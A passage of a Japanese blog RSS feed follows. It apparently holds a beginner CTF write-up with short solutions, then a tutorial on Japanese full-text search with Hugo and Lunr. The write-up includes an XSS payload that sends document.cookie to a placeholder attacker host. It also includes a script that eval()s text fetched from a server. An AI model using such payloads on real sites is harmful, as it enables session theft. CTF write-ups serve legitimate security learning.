&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;exp&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;soup&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;find&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;div&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;text&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;range&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;100&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;data&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;urllib&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;parse&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;urlencode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;({&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;answer&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;eval&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;exp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)})&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;encode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;res&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;opener&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;open&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;url&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;data&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;html&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;res&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;read&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;decode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;utf-8&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;html&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;soup&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;BeautifulSoup&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;html&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;html.parser&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;exp&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;soup&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;find&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;div&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;text&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;do-alert&#34;&gt;do alert&lt;/h2&gt;
&lt;p&gt;用意されたformに&lt;code&gt;&amp;lt;script&amp;gt;alert(0)&amp;lt;/script&amp;gt;&lt;/code&gt;を仕込んでリロード&lt;/p&gt;
&lt;h2 id=&#34;asカンパニー&#34;&gt;ASカンパニー&lt;/h2&gt;
&lt;p&gt;formから任意のtitleとtextを投稿するページがあり、投稿結果をクローラが巡回している。クローラのUAにFLAGが書かれている。&lt;/p&gt;
&lt;p&gt;formにはscriptを仕込むことができるため、&lt;code&gt;&amp;lt;script&amp;gt;document.location=&amp;quot;http://&amp;lt;attacker&amp;gt;?&amp;quot;+encodeURIComponent(document.cookie)&amp;lt;/script&amp;gt;&lt;/code&gt;をtitleまたはtextに仕込んでクローラのアクセス結果を確認する。&lt;/p&gt;
&lt;h2 id=&#34;go-fast&#34;&gt;Go Fast&lt;/h2&gt;
&lt;p&gt;計算するだけ&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;**&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;4085&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;%&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;97&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;factoring&#34;&gt;Factoring&lt;/h2&gt;
&lt;p&gt;素因数分解するだけ&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ factor &lt;span class=&#34;m&#34;&gt;2240118421&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;2240118421: &lt;span class=&#34;m&#34;&gt;43223&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;51827&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;find-it&#34;&gt;Find it.&lt;/h2&gt;
&lt;p&gt;ELF file &lt;code&gt;bin1&lt;/code&gt;が与えられる。xxdでフラグを得る。&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;xxd bin1 &lt;span class=&#34;p&#34;&gt;|&lt;/span&gt; grep -A1 ctf
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;0001060: &lt;span class=&#34;m&#34;&gt;6374&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;6634&lt;/span&gt; 627b 666c &lt;span class=&#34;m&#34;&gt;3467&lt;/span&gt; 5f6e &lt;span class=&#34;m&#34;&gt;3037&lt;/span&gt; 5f31  ctf4b&lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;dummy____
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;0001070: 6e5f &lt;span class=&#34;m&#34;&gt;6330&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;6433&lt;/span&gt; 5f35 &lt;span class=&#34;m&#34;&gt;3367&lt;/span&gt; 6d33 6e37 7d00  _________flag&lt;span class=&#34;o&#34;&gt;}&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;read-it&#34;&gt;Read it.&lt;/h2&gt;
&lt;p&gt;genflag sectionにFLAGが直書きされている。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Hugo &#43; Lunrによる日本語全文検索</title>
      <link>https://unigiri.gitlab.io/posts/full-text-japanese-search-with-hugo-plus-lunr/</link>
      <pubDate>Sun, 04 Nov 2018 23:54:29 +0900</pubDate>
      <guid>https://unigiri.gitlab.io/posts/full-text-japanese-search-with-hugo-plus-lunr/</guid>
      <description>&lt;h2 id=&#34;hugoとは&#34;&gt;Hugoとは&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;https://gohugo.io/&#34;&gt;Hugo&lt;/a&gt;とは静的ページを生成するGo製のフレームワークである。&lt;/p&gt;
&lt;h2 id=&#34;lunrとは&#34;&gt;Lunrとは&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;https://lunrjs.com/&#34;&gt;Lunr&lt;/a&gt;とはJavaScript製のテキスト検索エンジンである。日本語検索に対応している。&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h2 id=&#34;検索機能設置方法&#34;&gt;検索機能設置方法&lt;/h2&gt;
&lt;p&gt;以降の内容は &lt;a href=&#34;https://gist.github.com/sebz/efddfc8fdcb6b480f567&#34;&gt;https://gist.github.com/sebz/efddfc8fdcb6b480f567&lt;/a&gt; 及び &lt;a href=&#34;https://gist.github.com/eddiewebb/735feb48f50f0ddd65ae5606a1cb41ae&#34;&gt;https://gist.github.com/eddiewebb/735feb48f50f0ddd65ae5606a1cb41ae&lt;/a&gt; を参考にしている。&lt;/p&gt;
&lt;h3 id=&#34;ファイル構成&#34;&gt;ファイル構成&lt;/h3&gt;
&lt;p&gt;導入後のファイル構成は以下の通り。検索機能に関わる部分のみ記載している。&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;BLOG_DIR
├── layouts
│   ├── _default
│   │   └── index.json
│   └── index.html
└── static
    └── js
        ├── lunr.jp.js
        ├── lunr.js
        ├── lunr.multi.js
        ├── lunr.stemmer.support.js
        ├── search.js
        └── tinyseg.js
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;1-検索用データ設置&#34;&gt;1. 検索用データ設置&lt;/h3&gt;
&lt;p&gt;Lunrが検索対象として読み込むデータを設置する。ここでは全記事のタイトル, タグ, カテゴリ, 本文, hrefをJSON形式で書き出す。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;layouts/_default/index.json&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;{{- $.Scratch.Add &amp;#34;index&amp;#34; slice -}}
{{- range .Site.RegularPages -}}
    {{- $.Scratch.Add &amp;#34;index&amp;#34; (dict &amp;#34;title&amp;#34; (or .Title (.Date.Format &amp;#34;2006/01/02&amp;#34;)) &amp;#34;tags&amp;#34; .Params.tags &amp;#34;categories&amp;#34; .Params.categories &amp;#34;contents&amp;#34; .Plain &amp;#34;href&amp;#34; .URL ) -}}
{{- end -}}
{{- $.Scratch.Get &amp;#34;index&amp;#34; | jsonify -}}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;3行目の&lt;code&gt;&amp;quot;title&amp;quot; (or .Title (.Date.Format &amp;quot;2006/01/02&amp;quot;))&lt;/code&gt;は弊サイト独自の仕様であり、通常は&lt;code&gt;&amp;quot;title&amp;quot; .Title&lt;/code&gt;でよい。&lt;/p&gt;</description>
    </item>
  </channel>
</rss>
